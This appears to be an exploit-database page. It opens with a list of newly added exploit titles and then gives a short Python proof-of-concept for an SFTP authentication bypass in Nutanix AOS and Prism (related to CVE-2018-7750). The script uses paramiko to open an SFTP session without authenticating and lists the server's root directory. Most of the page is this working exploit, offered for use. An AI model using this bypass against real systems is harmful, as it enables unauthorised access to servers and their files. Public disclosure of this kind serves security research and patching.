
22 changes to exploits/shellcodes ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure QNAP NetBak Replicator 4.5.6.0607 - Denial of Service (PoC) SIPp 3.3.990 - Local Buffer Overflow (PoC) R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) xorg-x11-server 1.20.3 - Privilege Escalation Any Sound Recorder 2.93 - Buffer Overflow Local (SEH) (Metasploit) Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection Electricks eCommerce 1.0 - 'prodid' SQL Injection phptpoint Pharmacy Management System 1.0 - 'username' SQL Injection Webiness Inventory 2.9 - Arbitrary File Upload NETGEAR WiFi Router R6120 - Credential Disclosure MyBB Downloads 2.0.3 - SQL Injection Expense Management 1.0 - Arbitrary File Upload University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) Notes Manager 1.0 - Arbitrary File Upload Instagram Clone 1.0 - Arbitrary File Upload Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal Asaancart Simple PHP Shopping Cart 0.9 - Arbitrary File Upload / SQL Injection CI User Login and Management 1.0 - Arbitrary File Upload Windows/x64 - Remote (Bind TCP) Keylogger Shellcode (864 bytes) (Generator)
31 lines
No EOL
1.1 KiB
Python
Executable file
31 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass
|
|
# Date: 2018-10-27
|
|
# Exploit Author: Adam Brown
|
|
# Vendor Homepage: https://www.nutanix.org
|
|
# Software Link: https://www.nutanix.com/products/software-options/
|
|
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)
|
|
# Tested on: Acropolis Operating System
|
|
# CVE : Related to CVE-2018-7750
|
|
#
|
|
# This PoC is based on discussions found at the following blog post:
|
|
# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/
|
|
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the
|
|
# authentication step before allowing the client to open channels. The PoC below
|
|
# connects to the acropolis SFTP server, and lists the root directory without
|
|
# authenticating.
|
|
|
|
#!/usr/bin/python
|
|
import paramiko
|
|
|
|
host = '127.0.0.1'
|
|
port = 2222
|
|
|
|
trans = paramiko.Transport((host, port))
|
|
trans.start_client()
|
|
|
|
# If the call below is skipped, no username or password is required.
|
|
# trans.auth_password('username', 'password')
|
|
|
|
sftp = paramiko.SFTPClient.from_transport(trans)
|
|
print(sftp.listdir('/'))
|
|
sftp.close() |